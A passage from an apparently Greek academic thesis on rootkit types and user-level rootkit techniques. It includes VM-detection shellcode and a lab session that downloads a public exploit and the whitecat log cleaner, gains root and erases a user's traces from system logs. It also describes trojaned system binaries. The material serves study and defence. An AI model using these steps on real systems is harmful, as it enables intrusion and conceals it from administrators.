     Σε αντίθεση μετά παραδοσιακά rootkit τα οποία αντικαθιστούν εκτελέσιμα αρ-
χεία ή βιβλιοθήκες των συστημάτων τα οποία έχουν παραβιαστεί, τα rootkits αυτής
της κατηγορίας τροποποιούν τον ίδιο τον πυρήνα του λειτουργικού συστήματος
και διάφορες δομές αυτού, με πιο διαδεδομένη δομή τον πίνακα κλήσεων συ-
στήματος. Με τον τρόπο αυτό ο επιτιθέμενος μπορεί να αποφύγει την ανίχνευση
εύκολα, καθώς μπορεί να ελέγξει σε πολύ μεγάλο βαθμό τον τρόπο με τον οποίο
συμπεριφέρονται τα προγράμματα που χρησιμοποιεί ο διαχειριστής.
     Ο πυρήνας του λειτουργικού συστήματος Linux καθώς και τα rootkits της κα-
τηγορίας αυτής θα εξεταστούν διεξοδικά στο κεφάλαιο 4.


2.4.4 Rootkits βασισμένα σε εικονικές μηχανές
Η ιδέα πίσω από τα rootkits αυτά είναι το γεγονός ότι τα χαμηλότερα στρώματα
σε ένα σύστημα έχουν θεμελιώδη πλεονεκτήματα σε σχέση με τα ανώτερα, καθώς
τα ανώτερα στρώματα εξαρτώνται από τις λειτουργίες τις οποίες τους παρέχουν τα
χαμηλότερα. Έτσι, όσο χαμηλότερα στην διαστρωμάτωση του λειτουργικού συστή-
ματος “κρύβεται” το rootkit, τόσο πιο δύσκολο είναι να ανιχνευθεί.
     Όπως αναφέραμε ήδη στην ενότητα 2.2 το 2006 εμφανίσθηκε το rootkit
BluePill [12] το οποίο χρησιμοποιεί τις τεχνολογίες υποστήριξης εικονικών λει-
τουργικών συστημάτων τις οποίες διαθέτουν οι σύγχρονοι επεξεργαστές, και συγ-
κεκριμένα την τεχνολογία AMD-V (Pacifica) της εταιρίας AMD. To BluePill
σύμφωνα με τον προγραμματιστή του είναι σε θέση να εγκλωβίσει ένα υπάρχον
λειτουργικό σύστημα μέσα σε μία εικονική μηχανή και στη συνέχεια να δράσει
σαν σύστημα εποπτείας (hypervisor) για αυτή την μηχανή. Με αυτό τον τρόπο,
αφού το εικονικό σύστημα εξ’ ορισμού υποτίθεται ότι δεν είναι δυνατόν να γνωρί-
ζει ότι είναι εικονικό, το rootkit δεν μπορεί να ανιχνευθεί. Εκτός του BluePill,

16
                                                        2.4. ΤΑΞΙΝΟΜΗΣΗ ΤΩΝ ROOTKIT


έχει παρουσιαστεί ένα ακόμη rootkit σε αυτή την κατηγορία, το SubVirt [13], με
αντίστοιχες δυνατότητες.




Σχήμα 2.1: Το σχήμα αυτό δείχνει πως ένα υπάρχον λειτουργικό σύστημα μπορεί
να μεταφερθεί και να τρέξει μέσα σε μία εικονική μηχανή η οποία παρέχεται από
έναν επόπτη εικονικών μηχανών. Τα γκρι μέρη του σχήματος ορίζουν τα κομμάτια
που παρέχονται από το rootkit


   Τι συμβαίνει όταν ένα rootkit βρίσκεται σε επίπεδο χαμηλότερο από το ίδιο
το λειτουργικό σύστημά; Για την εγκατάσταση ενός rootkit της κατηγορίας αυτής
πρέπει να τροποποιηθεί η εγγραφή εκκίνησης του κύριου δίσκου του συστήματος
(MBR - Master Boot Record) η οποία αποτελεί τα πρώτα 512 bytes του δίσκου τα
οποία καθορίζουν το λειτουργικό σύστημα το οποίο θα εκκινήσει. Αυτό εξασφαλίζει
ότι το rootkit θα ενεργοποιηθεί πριν το λειτουργικό σύστημα στόχος. Η τεχνική
αυτή είναι εύκολα ανιχνεύσιμη με συστήματα ενάντια στο κακόβουλο λογισμικό.
Μια απλή τεχνική για την αποφυγή της ανίχνευσης είναι η τροποποίηση του MBR
κατά το τελευταίο στάδιο της διαδικασίας απενεργοποίησης του υπολογιστή. Με
την εκκίνηση του το rootkit, εκκινεί το λειτουργικό σύστημα στόχος σαν εικονική

                                                                               17
     ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


     μηχανή πάνω στην οποία έχει τον απόλυτο έλεγχο.
          Μηχανισμοί με στόχο την αποτροπή εγκατάστασης rootkit της κατηγορίας αυ-
     τής περιλαμβάνουν:

          • Ασφαλές Υλικό Secure Hardware (Intel LaGrande [14]/ AMD platform for
           trustworthy computing) [15]

          • Στατικό MBR (MBR μόνο ανάγνωσης, όπου δεν επιτρέπεται η εγγραφή)

          • Εικονική μηχανή χαμηλότερου επιπέδου η οποία δρα ως ασφαλές μέσο εκ-
           κίνησης και ελέγχει πιο λειτουργικό σύστημα εκκινεί στον υπολογιστή παίρ-
           νοντας τον έλεγχο της ακολουθίας εκκίνησης πριν κάθε άλλη συσκευή.


     Ανίχνευση εικονικής μηχανής

     Το παρακάτω πρόγραμμα το οποίο παραθέτουμε, ανιχνεύει εάν το λειτουργικό
     σύστημα από το οποίο το εκτελούμε βρίσκεται μέσα σε μία εικονική μηχανή ή
     όχι. [16]
 1   #include <stdio.h>

3    int insideVM() {
       unsigned char m[6];
5      unsigned char shellcode[] = ”\x0f\x01\x0d\x00\x00\x00\x00\xc3”;
       *((unsigned*)&shellcode[3]) = (unsigned)m;
7      ((void(*)())&shellcode)();
       return (m[5]>0xd0)?1:0;
9    }
     int main(){
11     if (insideVM()) printf(”We are inside a Virtual Machine\n”);
       else printf(”We are not inside a Virtual Machine\n”);
13   }

                 Απόσπασμα κώδικα 2.1: Κώδικας ανίχνευσης εικονικής μηχανής

          Το βασικό σημείο του παραπάνω κώδικα είναι η εντολή της assembly SIDT
     (κωδικοποιημένη σε γλώσσα μηχανής σαν 0F010D[addr]). Η εντολή αυτή αποθη-
     κεύει τα περιεχόμενα του καταχωρητή IDTR (καταχωρητής πίνακα διακοπών) στον
     τελεστή προορισμού, ο οποίος στην περίπτωση αυτή είναι μια διεύθυνση μνήμης.
     Το ενδιαφέρον χαρακτηριστικό της εντολής SIDT είναι ότι ενώ μπορεί να εκτελε-
     στεί σε επίπεδο χρήστη (non privileged mode - CPL3) αλλά επιστρέφει τα περιε-
     χόμενα ενός ευαίσθητου για την ασφάλεια του συστήματος καταχωρητή, ο οποίος

     18
                                                          2.4. ΤΑΞΙΝΟΜΗΣΗ ΤΩΝ ROOTKIT


χρησιμοποιείται εσωτερικά στο λειτουργικό σύστημα. Με τα υπάρχοντα συστήμα-
τα εικονικών μηχανών, όλες οι εντολές επιπέδου χρήστη εκτελούνται απευθείας
στον επεξεργαστή, ενώ οι εντολές επιπέδου αυξημένων δικαιωμάτων (πυρήνα) ε-
κτελούνται μέσω της εικονικής μηχανής.
   Επειδή υπάρχει μόνο ένας καταχωρητής IDTR, αλλά τουλάχιστον δυο λειτουρ-
γικά συστήματα τρέχουν ταυτόχρονα (το φιλοξενούμενο και το λειτουργικό ξενι-
στής), εργαλείο επισκόπησης εικονικών μηχανών (VMM) πρέπει να επανατοποθε-
τήσει το IDTR του φιλοξενούμενου λειτουργικού σε ένα ασφαλές μέρος, έτσι ώστε
να μην υπάρχει διένεξη με αυτό του ξενιστή. Το VMM δεν μπορεί να ξέρει αν
και πότε μια διεργασία του φιλοξενούμενου συστήματος εκτελεί την εντολή SIDT,
μιας και η εντολή αυτή τρέχει σε επίπεδο χρήστη και έτσι δεν παράγει εξαίρεση
(exception). Έτσι, η διεργασία με την εκτέλεση την εντολής παίρνει τη διεύθυν-
ση του επανατοποθετημένου πίνακα διακοπών. Παρατηρήσαμε ότι σε πλατφόρμα
VMWare η επανατοποθετημένη διεύθυνση του IDT είναι σε μια “μεγάλη” διεύ-
θυνση όπως 0xffXXXXXX (συγκεκριμένα 0xffc18000), ενώ σε κανονικό σύστημα
είναι σε μικρή διεύθυνση (συγκεκριμένα 0xc0499000 στο σύστημα της ερευνάς
μας).
   Ακόμη έχουν αναπτυχθεί κάποιες άλλες προηγμένες τεχνικές για την ανίχνευ-
ση μόλυνσης με rootkit βασισμένο σε εικονικές μηχανές. Κάποιες από αυτές είναι:

   • Ανάλυση χρόνων απόκρισης του συστήματος (timing attacks). Ένα λειτουρ-
        γικό σύστημα που λειτουργεί σαν εικονική μηχανή έχει αρκετά διαφορετικές
        επιδόσεις και αποκρίσεις σε συγκεκριμένες κλήσεις συστήματος σε σχέση με
        ένα κανονικό λειτουργικό σύστημα. Μετρώντας τους χρόνους αυτούς είμα-
        στε σε θέση να καταλάβουμε εάν βρισκόμαστε μπροστά σε σύστημα το οποίο
        λειτουργεί σαν εικονική μηχανή ή όχι.

   • Ανάλυση χρήσης επεξεργαστή/μνήμης/δίσκου/δικτύου. Ένα rootkit της κα-
        τηγορίας αυτής αναπόφευκτα χρησιμοποιεί ένα σημαντικό μέρος των πόρων
        του συστήματος για να λειτουργήσει καθώς στην ουσία αποτελεί ένα ολόκλη-
        ρο λειτουργικό σύστημα. Αναλύοντας την χρήση του επεξεργαστή, της μνή-
        μης, του χώρου στο δίσκο και την χρήση δικτύου μπορούμε να ανακαλύ-
        ψουμε μη συνηθισμένες συμπεριφορές.

   Το μεγαλύτερο μειονέκτημα όλων των παραπάνω μεθόδων είναι το γεγονός
ότι δεν ανιχνεύουν εάν η εικονική μηχανή είναι κακόβουλη ή όχι, αν πρόκειται
για rootkit ή για νόμιμη χρήση εικονικών μηχανών. Έτσι, οι παραπάνω μέθοδοι

                                                                                 19
ΚΕΦΑΛΑΙΟ 2. ΥΠΟΒΑΘΡΟ


θα είναι προβληματικές μελλοντικά, δεδομένης της ολοένα αυξανόμενης χρήσης
εικονικών μηχανών σε επιχειρηματικές δραστηριότητες.



2.4.5 Rootkits καταχωρητών εκσφαλμάτωσης
Ένα από τα νεότερα είδη rootkit είναι αυτά τα οποία χρησιμοποιούν τους κατα-
χωρητές εκσφαλμάτωσης του επεξεργαστή για να παραμείνουν κρυμμένα, και πιο
συγκεκριμένα την λειτουργία διακοπής εκτέλεσης (breakpoint). Στην κατηγορί-
α αυτή ανήκουν τα “mood-nt”[17] και “DR rootkit”[18]. Απλούστερα, τα rootkit
αυτά δρουν σαν εργαλεία εκσφαλμάτωσης. Περιμένουν την εκτέλεση συγκεκρι-
μένων κλήσεων συστήματος και όταν την ανιχνεύσουν τις τροποποιούν άμεσα.
Κάποιες από τις κλήσεις συστήματος τις οποίες τροποποιούν είναι η getdents64,
getdents, chdir, open, execve, socketcall, for, exit, kill,
getpriority.
     Τα rootkit αυτά καταφέρνουν να πραγματοποιήσουν αναχαίτιση των κλήσεων
συστήματος χωρίς να τροποποιήσουν κάποια δομή του πυρήνα, όπως ο πίνακας
κλήσεων συστήματος ή ο πίνακας διακοπών. Για να το καταφέρουν αυτό, ορίζουν
ένα breakpoint υλικού στον κώδικα του χειριστή των κλήσεων συστήματος (system
call handler). Η παγίδα (trap) που προκύπτει αναλαμβάνει την παρακολούθηση
μνήμης (memory watch) της εγγραφής του πίνακα κλήσεων συστήματος η οποία
αντιστοιχεί στον αριθμό της κλήσης συστήματος η οποία πρέπει να αναχαιτιστεί.
Με τον τρόπο αυτό, όταν η παρακολούθηση μνήμης για τη συγκεκριμένη εγγραφή
του πίνακα κλήσεων συστήματος ανιχνεύσει πρόσβαση, ο χειριστής της παγίδας
που έχουμε θέσει ανακατευθύνει την εκτέλεση της συγκεκριμένης κλήσης συστή-
ματος σε ένα κομμάτι κώδικα του κακόβουλου χρήστη.
     Τα συγκεκριμένα rootkit δεν έχουν φθάσει ακόμη στο βαθμό πολυπλοκότητας
που θα μπορούσαν να έχουν και μέχρι τώρα οι δυνατότητες τους είναι σχετικά
περιορισμένες, παρόλα αυτά δεν έχουν εμφανισθεί πρακτικοί τρόποι ανίχνευσης.
Θεωρητικά, οι ακόλουθες τεχνικές θα μπορούσαν να βοηθήσουν στην ανίχνευση
τους:

     • Ανίχνευση μέσω κάποιας μεθόδου περιορισμού της πρόσβασης μόνο με ε-
        ξουσιοδοτημένο τρόπο στους καταχωρητές εκσφαλμάτωσης.

     • Ανίχνευση μέσω μεθόδων μέτρησης χρόνων απόκρισης ή καταστάσεων αντα-
        γωνισμού όπως και με τα rootkit εικονικής μηχανής.

20
                                                       2.4. ΤΑΞΙΝΟΜΗΣΗ ΤΩΝ ROOTKIT


   • Ανίχνευση μέσω γενικών τεχνικών εύρεσης κρυφών διεργασιών, όπως
        πρόσβαση σε όλα τα δυνατά PID διεργασιών μέσω του /proc/<pid>/stat.

   Οι παραπάνω τεχνικές αποτελούν πεδίο έρευνας και στόχο επέκτασης της ερ-
γασίας μας στο μέλλον.


2.4.6 Άλλα Rootkits
Τα rootkits επιπέδου λογισμικού συσκευών (firmware rootkits) είναι το επόμενο
επίπεδο εξέλιξης. Αυτό το είδος rootkit μπορεί να ανήκει σε οποιαδήποτε από
τις προηγούμενες κατηγορίες, με μια ιδιαιτερότητα. Όταν ο υπολογιστής κλείνει,
έχει την δυνατότητα να αποθηκεύει τον εαυτό του στη μνήμη κάποιας συσκευής
του συστήματος, και έτσι κατά την εκκίνηση του συστήματος επανεγκαθιστά τον
εαυτό του μέσω της λειτουργίας DMA. Το αλλοιωμένο λογισμικό συσκευής μπορεί
να ανήκει σε οποιαδήποτε συσκευή, από κάποιον μικροεπεξεργαστή μέχρι σε μια
κάρτα επέκτασης PCI. Ακόμη και αν ο διαχειριστής επιχειρήσει να εξουδετερώσει
το rootkit κατά την εκτέλεση του λειτουργικού συστήματος, αυτό θα επανέλθει
μετά από επανεκκίνηση. Η τεχνική αυτή παρουσιάστηκε από τον John Heasman
[19].




                                                                              21
                                    Rootkits επιπέδου χρήστη
                                                                      3
Μια πρώτη αναφορά και περιγραφή των rootkits επιπέδου χρήστη έγινε στην ε-
νότητα 2.4.1. Τα πρώτα rootkits τα οποία εμφανίσθηκαν εκτελούνταν σε επίπε-
δο χρήστη και πλέον έχουν σχεδόν εγκαταλειφθεί. Παρ’ όλα αυτά, παλαιότερα
rootkits μπορούν ακόμη να βρεθούν κατά την ανάλυση παραβιασμένων συστη-
μάτων, κυρίως σε μη συνηθισμένο υλικό1 για το οποίο δεν υπάρχουν συμβατές
εκδόσεις των πρόσφατων rootkits.



3.1 Αρχεία τα οποία περιέχονται στο πακέτο ενός rootkit
Τα rootkits επιπέδου χρήστη έρχονται σε μορφή συμπιεσμένων πακέτων αρχείων,
αρκετά μεγάλων σε μέγεθος, μέσα στα οποία περιέχονται διάφορα εργαλεία και
αρχεία χρήσιμα στον κακόβουλο χρήση. Θα αναφέρουμε κάποια από αυτά τα
οποία συναντήσαμε στην πορεία της έρευνάς μας.

Εκτελέσιμα προς αντικατάσταση. Αποτελούν τον κυριότερο όγκο στα πακέτα
        των rootkits. Περιλαμβάνουν πολλές φορές δεκάδες εκτελέσιμα, τα οποία ο
        επιτιθέμενος έχει αναπτύξει και μεταγλωττίσει πριν την επίθεση. Τα αρχεί-
        α αυτά συνοδεύονται από σενάρια κελύφους τα οποία αυτοματοποιούν την
        διαδικασία της αντικατάστασης των εκτελέσιμων του συστήματος με τα νέα.

Προγράμματα – κερκόπορτες Χρησιμοποιούνται για την μελλοντική πρόσβαση
        του επιτιθέμενου στο σύστημα. Έχουμε αναφερθεί αναλυτικά σε αυτά στην
        ενότητα 2.3.1.

Εργαλεία επεξεργασίας αρχείων καταγραφής. Τα εργαλεία αυτά βοηθούν
  1
      όπως συστήματα αρχιτεκτονικής IA64, SPARC, ARM κ.α.


                                                                              23
ΚΕΦΑΛΑΙΟ 3. ROOTKITS ΕΠΙΠΕΔΟΥ ΧΡΗΣΤΗ


        στην απόκρυψη των αποδείξεων της επίθεσης και μη εξουσιοδοτημένης
        χρήσης του συστήματος. Αναφερόμαστε αναλυτικότερα στην τεχνική αυτή
        στην παράγραφο 3.2.1. Έχουν τη δυνατότητα να επεξεργάζονται τόσο τα
        αρχεία καταγραφής σε μορφή κειμένου, όπως το /etc/lastlog και το
        /etc/syslog, όσο και τα αυτά που είναι σε δυαδική μορφή, όπως τα wtmp
        και utmp. Παραδείγματα αυτών των εργαλείων είναι τα zap, zap2, wted, το
        wtmpclean και το whitecat το οποίο χρησιμοποιήσαμε.

Εργαλεία αλλαγής μετα-πληροφοριών αρχείων του συστήματος. Εργαλεία
        όπως το fix, το οποίο αλλάζει κατά βούληση την ημερομηνία δημιουργίας
        και το άθροισμα ελέγχου (checksum) οποιουδήποτε αρχείου2 , και το
        addlen, το οποίο αλλάζει το μέγεθος των τροποποιημένων αρχείων, είναι
        πολύ χρήσιμα στην προσπάθειά του εισβολέα να καλύψει τα ίχνη που
        αφήνει η αντικατάσταση των εκτελέσιμων του συστήματος.

Εργαλεία παρακολούθησης πακέτων δικτύου. Εργαλεία της κατηγορίας που
        παρατηρήσαμε είναι τα linsniffer και sniffchk.

Εργαλεία επίθεσης. Αν και η επίθεση δεν είναι ο κύριος σκοπός των rootkits,
        πολλές φορές για ευκολία του επιτιθέμενου στο πακέτο περιλαμβάνονται και
        εργαλεία τα οποία χρησιμοποιούνται σε επιθέσεις, κυρίως άρνησης πρόσβα-
        σης, σε άλλα συστήματα.

Ρομπότ IRC. Είναι προγράμματα – ρομπότ τα οποία συνδέονται με το κοινόχρη-
        στο δίκτυο επικοινωνίας IRC. Κάνοντας χρήση του δικτύου αυτού, ο επιτι-
        θέμενος – εντολέας μπορεί να δώσει εντολή να ξεκινήσει μία επίθεση ή να
        επιτελεστεί οποιαδήποτε άλλη λειτουργία στο παραβιασμένο σύστημα, χωρίς
        να είναι απαραίτητο να συνδεθεί εκ νέου σε αυτό. Τα προγράμματα αυτά
        χρησιμοποιούνται κατά κόρον στα λεγόμενα δίκτυα – ρομπότ (botnets).



3.2 Χρησιμοποιούμενες τεχνικές
Οι δύο κυριότερες τεχνικές τις οποίες χρησιμοποιούν τα rootkits τα οποία δρουν
σε επίπεδο προνομίων χρήστη, είναι η επεξεργασία των αρχείων καταγραφής του
συστήματος και η αντικατάσταση εκτελέσιμων αρχείων του συστήματος. Προκει-
μένου να δοθεί η πλήρης εικόνα, παρουσιάζουμε παραδείγματα χρήσης για το
  2
      Δεν αναφερόμαστε σε κρυπτογραφικό άθροισμα ελέγχου.


24
                                                     3.2. ΧΡΗΣΙΜΟΠΟΙΟΥΜΕΝΕΣ ΤΕΧΝΙΚΕΣ


φιλτράρισμα αρχείων καταγραφής και την αντικατάσταση εκτελέσιμων του συστή-
ματος.


3.2.1 Επεξεργασία αρχείων καταγραφής
Τα προγράμματα επεξεργασίας αρχείων καταγραφής τα οποία χρησιμοποιούνταν
στα αρχικά rootkits είναι ακόμη σε χρήση αν και υπάρχουν πλέον περισσότε-
ρο εξελιγμένες εκδόσεις τους. Η τυπική περίπτωση είναι τα αρχεία καταγραφής
να “φιλτράρονται” αυτόματα. Ο επιτιθέμενος δημιουργεί μία λίστα από λέξεις –
κλειδιά, την οποία χρησιμοποιεί το πρόγραμμα παρακολουθώντας τα αρχεία κα-
ταγραφής του συστήματος και αφαιρώντας τις σειρές στις οποίες περιέχονται οι
λέξεις αυτές. Μια τέτοια λέξη – κλειδί μπορεί να είναι η διεύθυνση δικτύου (IP)
του επιτιθέμενου ή ένα ειδικό πρόθεμα.

debian1:~# lastlog
Username         Port     From               Latest
root             pts/0    192.168.187.1      Fri Jan 23 23:27:22 +0200 2009
joe              pts/1    192.168.187.1      Fri Jan 23 23:58:24 +0200 2009

debian1:/# last
joe      pts/1         192.168.187.1     Fri Jan 23 23:58   still logged in
root     pts/0         192.168.187.1     Fri Jan 23 23:27   still logged in
reboot   system boot   2.6.18-4-686      Fri Jan 23 17:40 - 00:15 (06:34)

debian1:/# tail /var/log/auth.log
Jan 23 23:39:01 debian1 CRON[3112]: (pam_unix) session opened for user root
    by (uid=0)
Jan 23 23:39:02 debian1 CRON[3112]: (pam_unix) session closed for user root
Jan 23 23:58:12 debian1 sshd[3045]: syslogin_perform_logout: logout()
    returned an error
Jan 23 23:58:21 debian1 sshd[3375]: (pam_unix) authentication failure;
    logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.187.1 user=joe
Jan 23 23:58:23 debian1 sshd[3375]: Failed password for joe from
    192.168.187.1 port 46315 ssh2
Jan 23 23:58:24 debian1 sshd[3375]: Accepted password for joe from
    192.168.187.1 port 46315 ssh2
Jan 23 23:58:24 debian1 sshd[3377]: (pam_unix) session opened for user joe by
     (uid=0)
Απόσπασμα κώδικα 3.1: Αρχεία καταγραφής πριν την επεξεργασία με το εργαλείο
whitecat


   Στο απόσπασμα 3.2, σε σχέση με το 3.1, όλες οι γραμμές με αναφορά στον

                                                                                25
ΚΕΦΑΛΑΙΟ 3. ROOTKITS ΕΠΙΠΕΔΟΥ ΧΡΗΣΤΗ




joe@debian1:~$ uname -r
2.6.18-4-686
joe@debian1:~$ wget
    http://www.securityfocus.com/data/vulnerabilities/exploits/27704.c
joe@debian1:~$ gcc 27704.c -o exploit
joe@debian1:~$ wget http://www.darkc0de.com/c0de/c/whitecat.txt
joe@debian1:~$ gcc whitecat.c -o whitecat
joe@debian1:~$ ./exploit
root@debian1:~# ./whitecat -u joe

root@debian1:~# lastlog
Username         Port          From            Latest
root             pts/0         192.168.187.1   Fri Jan 23 23:27:22 +0200 2009
joe                                            **Never logged in**

debian1:/# last
root     pts/0            192.168.187.1    Fri Jan 23 23:27   still logged in
reboot   system boot      2.6.18-4-686     Fri Jan 23 17:40 - 00:20 (06:39)

debian1:/# tail    /var/log/auth.log
Jan 23 23:39:01    debian1 CRON[3112]: (pam_unix) session opened for user root
    by (uid=0)
Jan 23 23:39:02    debian1 CRON[3112]: (pam_unix) session closed for user root
Jan 23 23:58:12    debian1 sshd[3045]: syslogin_perform_logout: logout()
    returned an    error
Απόσπασμα κώδικα 3.2: Χρήση του εργαλείου επεξεργασίας αρχείων καταγραφής
whitecat, αφού πριν έχουν αποκτηθεί δικαιώματα υπερχρήστη και κατάσταση
αρχείων καταγραφής μετά την επεξεργασία




26
                                                      3.2. ΧΡΗΣΙΜΟΠΟΙΟΥΜΕΝΕΣ ΤΕΧΝΙΚΕΣ


χρήστη joe έχουν απομακρυνθεί από τα αρχεία καταγραφής lastlog, wtmp και
auth.log, χρησιμοποιώντας το εργαλείο whitecat [20] το οποίο συναντάται συ-
χνά σε rootkits της κατηγορίας αυτής.
   Για την αποτροπή επιτυχούς λειτουργίας του εργαλείου whitecat και αντί-
στοιχων, μία καλή λύση για κρίσιμα συστήματα είναι η απευθείας αποστολή των
αρχείων καταγραφής σε εξωτερικό σύστημα (syslog server) έτσι ώστε να μην
είναι εφικτή η επεξεργασία τους τοπικά.


3.2.2 Αντικατάσταση εκτελέσιμων συστήματος
Έχοντας σαν σκοπό να αποκρύψουν τις διεργασίες και τα αρχεία τους, οι επι-
τιθέμενοι αντικαθιστούν τα εκτελέσιμα αρχεία των παραβιασμένων συστημάτων
με αυτοματοποιημένο τρόπο χρησιμοποιώντας πακέτα εργαλείων, σεναρίων κον-
σόλας και τροποποιημένων εκτελέσιμων, τα γνωστά rootkits επιπέδου χρήστη.
   Κατά την έρευνά μας αναλύσαμε δύο από τα δημοφιλέστερα rootkits της κα-
τηγορίας, το t0rnkit και το LRK. Στη συνέχεια παραθέτουμε μια λίστα με τα
εκτελέσιμα αρχεία τα οποία αντικαθιστώνται συχνότερα από τα rootkits της κατη-
γορίας, μαζί με την αιτιολόγηση της αντικατάστασης.

Απόκρυψη αρχείων και φακέλων

Ο σημαντικότερος ίσως στόχος ενός εισβολέα, ο οποίος έχει παραβιάσει ένα σύστη-
μα και επιθυμεί να εγκαταστήσει λογισμικό σε αυτό ή ακόμα και το πρόγραμμα
– κερκόπορτα το οποίο θα του επιτρέψει να επανέλθει μελλοντικά, είναι να απο-
κρύψει την ύπαρξη των αρχείων αυτών. Η κυριότερη τεχνική για την απόκρυψη
αρχείων και φακέλων είναι η αντικατάσταση των εκτελέσιμων τα οποία χρησιμο-
ποιεί ο νόμιμος διαχειριστής του συστήματος για να ελέγξει την κατάστασή του.
Τα αρχεία αυτά παρουσιάζονται σύντομα στον πίνακα που ακολουθεί.


 ls     Η εντολή εμφανίζει μία λίστα με τα αρχεία των καταλόγων του συστή-
        ματος, αντλώντας πληροφορίες από το ψευδοσύστημα αρχείων /proc. Ο
        κακόβουλος χρήστης, μπορεί να επέμβει στον πηγαίο κώδικα του προ-
        γράμματος, έτσι ώστε το εκτελέσιμο να μην εμφανίζει συγκεκριμένες εγ-
        γραφές (αρχεία ή φακέλους). Για παράδειγμα μπορούν να αποκρύπτον-
        ται όσα αρχεία περιέχονται σε φακέλους των οποίων το όνομα αρχίζει
        από “$sys$”.



                                                                                 27
ΚΕΦΑΛΑΙΟ 3. ROOTKITS ΕΠΙΠΕΔΟΥ ΧΡΗΣΤΗ


 df       Η εντολή επιστρέφει μια εκτίμηση του ελεύθερου χώρου συσκευών απο-
          θήκευσης. Η τροποποιημένη έκδοση μπορεί να μην υπολογίζει τον χώρο
          τον οποίο καταλαμβάνουν τα αρχεία του επιτιθέμενου. Παρόμοια εντολή
          είναι η du η οποία εμφανίζει το μέγεθος καταλόγων, και η οποία συχνά
          τροποποιείται με παρόμοιο τρόπο.
 find     Η εντολή χρησιμοποιείται για την εύρεση συγκεκριμένων αρχείων στο
          σύστημα. Ομοίως με τις προηγούμενες εντολές, μπορεί να τροποποιη-
          θεί κατάλληλα ώστε να αποκρύπτει συγκεκριμένα αρχεία από τα αποτε-
          λέσματά της.
 lsof     Η εντολή δημιουργεί μια λίστα των αρχείων τα οποία είναι σε χρήση κατά
          την εκτέλεσή της. Η τροποποιημένη έκδοση αποκρύπτει τα αρχεία του
          επιτιθέμενου.




Απόκρυψη διεργασιών

Ο διαχειριστής του λειτουργικού συστήματος Linux χρησιμοποιεί κάποιες εντολές
για έλεγχο των διεργασιών οι οποίες εκτελούνται στο σύστημα και των παραμέτρων
τους.


 ps       Με την εντολή αυτή ο διαχειριστής μπορεί να ελέγξει ποιες διεργασίες
          εκτελούνται στο σύστημα ανά πάσα στιγμή. Οι τροποποιημένες εκδόσεις
          του εκτελέσιμου ls αποκρύπτουν τις διεργασίες του επιτιθέμενου, όπως
          κάποιο πρόγραμμα κερκόπορτα, βάση του αναγνωριστικού χρήστη ή του
          ονόματος της διεργασίας.
 top      Η εντολή εμφανίζει στατιστικά χρήσης των πόρων του συστήματος για
          τις διεργασίες σε χρήση. Ο επιτιθέμενος φροντίζει η έκδοσή του να μην
          εμφανίζει τις διεργασίες του.
 kill     Η εντολή αυτή, όπως και η killall, χρησιμοποιείται για την διακοπή
          της εκτέλεσης διεργασιών. Οι κακόβουλα τροποποιημένες εκδόσεις τις
          εντολής αδυνατούν να διακόψουν την εκτέλεση διεργασιών που ανήκουν
          στον επιτιθέμενο.
 lsof     Η εντολή δημιουργεί μια λίστα των αρχείων (και συνδέσεων δικτύου) τα
          οποία είναι σε χρήση κατά την εκτέλεσή της. Τροποποιώντας την εντολή
          αυτή ο επιτιθέμενος μπορεί να αποκρύψει αρχεία και συνδέσεις δικτύου
          τα οποία ανήκουν σε συγκεκριμένες διεργασίες.

28
                                                     3.2. ΧΡΗΣΙΜΟΠΟΙΟΥΜΕΝΕΣ ΤΕΧΝΙΚΕΣ




Απόκρυψη συνδέσεων δικτύου

Ο επιτιθέμενος χρήστης συχνά εκτελεί εφαρμογές οι οποίες δημιουργούν συν-
δέσεις με εξωτερικά συστήματα, ή ακόμα και με το δικό του. Ο διαχειριστής του
συστήματος είναι σε θέση να ελέγξει τις συνδέσεις με εξειδικευμένα εργαλεία όπως
τα παρακάτω.


 netstat    Επιτρέπει την εύρεση πληροφοριών γύρω από συνδέσεις δικτύου σε χρή-
            ση, στατιστικά διεπαφών και πίνακες δρομολόγησης. Με την τροποποί-
            ηση του εκτελέσιμου επιτυγχάνεται η απόκρυψη συνδέσεων δικτύου.
 lsof       Η εντολή δημιουργεί μια λίστα των αρχείων (και συνδέσεων δικτύου κα-
            θώς και αυτές είναι “αρχεία” στο λειτουργικό σύστημα Linux) τα οποία
            είναι σε χρήση κατά την εκτέλεσή της. Τροποποιώντας την εντολή αυ-
            τή ο επιτιθέμενος μπορεί να αποκρύψει συνδέσεις δικτύου προς ή από
            συγκεκριμένους προορισμούς.
 route      Εμφανίζει τους πίνακες δρομολόγησης του συστήματος. Ο επιτιθέμενος
            μπορεί να χρησιμοποιεί τους πίνακες ώστε να εκτρέψει κίνηση προς το
            δίκτυό του, εάν το σύστημα θύμα είναι δρομολογητής. Με την τροποποί-
            ηση την εντολής οι αλλαγές αυτές είναι αόρατες για τον διαχειριστή.




Εντολές σχετικές με παρακολούθηση πακέτων δικτύου και απόκτηση δε-
δομένων

Συχνά ο επιτιθέμενος, στην προσπάθειά του να αντλήσει πληροφορίες για τα γειτο-
νικά συστήματα στο τοπικό δίκτυο του παραβιασμένου συστήματος, εκτελεί προ-
γράμματα παρακολούθησης κίνησης πακέτων δικτύου (sniffing).




                                                                                29
ΚΕΦΑΛΑΙΟ 3. ROOTKITS ΕΠΙΠΕΔΟΥ ΧΡΗΣΤΗ


 ifconfig       Το εργαλείο αυτό είναι απαραίτητο για την εποπτεία και την διαχείρι-
                ση των ρυθμίσεων των διεπαφών δικτύου ενός συστήματος. Κατά την
                λειτουργία ενός προγράμματος sniffer, η διεπαφή δικτύου είναι σε κα-
                τάσταση ακρόασης (promiscuous). Το εργαλείο ifconfig είναι σε θέση
                να πληροφορήσει τον διαχειριστή για την κατάσταση αυτή της διεπαφής,
                άρα ο κακόβουλος χρήστης τροποποιεί κατάλληλα τον κώδικα ώστε να
                αποκρύπτει την πληροφορία αυτή από τα χαρακτηριστικά της διεπαφής.
 passwd         Η εντολή χρησιμοποιείται για την αλλαγή του κωδικού πρόσβασης των
                χρηστών στο σύστημα. Ο επιτιθέμενος τροποποιώντας την εντολή αυτή
                μπορεί να την προγραμματίσει έτσι ώστε δίδοντας ένα συγκεκριμένο κω-
                δικό κατά τη χρήση της, να δίδονται δικαιώματα υπερχρήστη.




Εκτέλεση εργασιών

